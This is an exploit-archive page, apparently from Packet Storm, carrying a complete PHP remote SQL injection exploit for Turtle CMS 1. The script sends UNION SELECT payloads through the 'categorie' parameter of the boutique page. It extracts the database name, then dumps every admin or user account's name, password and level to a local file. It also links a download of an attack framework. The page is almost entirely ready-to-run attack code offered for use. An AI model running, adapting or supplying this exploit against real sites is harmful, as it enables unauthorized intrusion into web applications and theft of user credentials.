what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Turtle CMS 1 SQL Injection

Turtle CMS 1 SQL Injection
Posted Aug 4, 2012
Authored by The UnKn0wN

Turtle CMS version 1 remote SQL injection exploit written in PHP.

tags | exploit, remote, php, sql injection
SHA-256 | 49b6a64ed42b657c60b8d7f861c16bf1852e7cf83dd2ad6db777e7ca04f156a9

Turtle CMS 1 SQL Injection

Change Mirror Download
<?php
//NOTE : - If you are using BHR put this file in \exploits\webapp folder
// - BHR Download link => http://www.mediafire.com/?ij9rfpfw6s7uzxf (for windows only)
/*
load exploits/webapp/turtle_injection.php
set HOST target
set MODE (1 for admin accounts/2 for all accounts)
set FILE (save format TXT/SQL)
exploit


!Turtle Injection
@ HOST = localhost = Target URL
@ PORT = 80 = Target Port
@ PATH = / = Web site path
@ MODE = 1 = Injection mode
@ FILE = sql = Save type
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host,$port, $packet)
{
if (!($sock = fsockopen($host, $port)))
die("\n[-] No response from {$host}:{$port}\n");

fputs($sock, $packet);
return stream_get_contents($sock);
}
function write_txt($host, $file, $account, $pass, $level)
{
$save_file = fopen("".$file."", "a+");
fwrite($save_file, "$account:$pass:$level\n");
fclose($save_file);
}
function write_sql($file, $account, $pass, $level)
{
$save_file = fopen("".$file."", "a+");
fwrite($save_file, "INSERT INTO 'accounts' VALUES ('$account', '$pass', '$level')\n");
fclose($save_file);
}
function write($file, $account, $pass, $level)
{
if($file == "accounts.txt")
write_txt($file, $account, $pass, $level);
else
write_sql($file, $account, $pass, $level);
}
function fetch_data($page)
{
$debut = "~'";
$debutTxt = strpos( $page, $debut ) + strlen( $debut );
$fin = "'~";
$finTxt = strpos( $page, $fin );
$data_fetch = substr($page, $debutTxt, $finTxt - $debutTxt );
return $data_fetch;
}
function PostIt($host,$port,$path,$payload){
return file_get_contents("http://".$host.$path.$payload);

}
print "\n+-----------------------[ The Crazy3D Team ]--------------------------+";
print "\n| Turtle CMS SQL Injection Exploit |";
print "\n| by The UnKn0wN |";
print "\n| Greets to : The Crazy3D's members and all Algerian h4x0rs |";
print "\n+---------------------------------------------------------------------+";
print "\n| www.rpg-exploit.com |";
print "\n+---------------------------------------------------------------------+\n";

if ($argc < 5)
{
print "\nUsage......: php $argv[0] <host> <port> <path> <mode> <save>\n";
print "\nExample....: php $argv[0] localhost 80 / 1 txt ";
print "\nExample....: php $argv[0] localhost 80 /site/ 3 sql \n";
die();
}

$host = $argv[1];
$port = $argv[2];
$path = $argv[3];
$mode = $argv[4];
$file = $argv[5];

if($file == "txt") $file = "accounts.txt";
else $file = "accounts.sql";
$inj_test = "'";
$inj_db = "99999999%20union%20all%20select%201,(select%20concat(0x7e,0x27,cast(database()%20as%20char),0x27,0x7e)),3,4,5,6,7,8--";
$payload = "index.php?pages=boutique&categorie=".$inj_test."";

if(!(preg_match("#mysql_num_rows#", postit($host,$port, $path,$payload)))) die ("[-] CMS not vulnerable\n");
else print ("[+] CMS can be exploited!\n");
$payload = "index.php?pages=boutique&categorie=".$inj_db."";
$db = fetch_data(PostIt($host,$port,$path,$payload));
if(empty($db)) die("[-] Can't find the database!\n");
print "[+] Database: ".$db."\n";
$db = str_replace(" ","%20",$db);
switch ($mode)
{
case 1:
$inj_count_accounts = "999999%20union%20all%20select%201,(select%20concat(0x7e,0x27,count(*),0x27,0x7e)%20FROM%20`{$db}`.accounts%20WHERE%20level>0),3,4,5,6,7,8--";

$payload = "index.php?pages=boutique&categorie=".$inj_count_accounts."";
$num = fetch_data(PostIt($host,$port,$path,$payload));

print "[+] Admin accounts: ".$num."\n";
for($i=0; $i<$num; $i++)
{
$inj_accounts = "999999%20union%20all%20select%201,(select%20concat(0x7e,0x27,account,0x2f,pass,0x2f,level,0x27,0x7e)%20FROM%20`{$db}`.accounts%20WHERE%20level>0%20LIMIT%20{$i},1),3,4,5,6,7,8--";
$payload = "index.php?pages=boutique&categorie=".$inj_accounts."";
$data = fetch_data(PostIt($host,$port,$path,$payload));

list($account, $pass, $level) = split('/', $data);
print "Account: {$account}\t Pass: {$pass}\t Level: {$level}\n";

write($file, $account, $pass, $level);
}
break;
default:

$inj_count_accounts = "999999%20union%20all%20select%201,(select%20concat(0x7e,0x27,count(*),0x27,0x7e)%20FROM%20`{$db}`.accounts),3,4,5,6,7,8--";
$payload = "index.php?pages=boutique&categorie=".$inj_count_accounts."";
$num = fetch_data(PostIt($host,$port,$path,$payload));
print "[+] Accounts: ".$num."\n";
for($i=0; $i<$num; $i++)
{
$inj_accounts = "999999%20union%20all%20select%201,(select%20concat(0x7e,0x27,account,0x2f,pass,0x2f,level,0x27,0x7e)%20FROM%20`{$db}`.accounts%20LIMIT%20{$i},1),3,4,5,6,7,8--";
$payload = "index.php?pages=boutique&categorie=".$inj_accounts."";
$data = fetch_data(PostIt($host,$port,$path,$payload));

list($account, $pass, $level) = split('[/.-]', $data);
print "Account: {$account}\t Pass: {$pass}\t Level: {$level}\n";
write($file, $account, $pass, $level);

}
break;
}
?>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close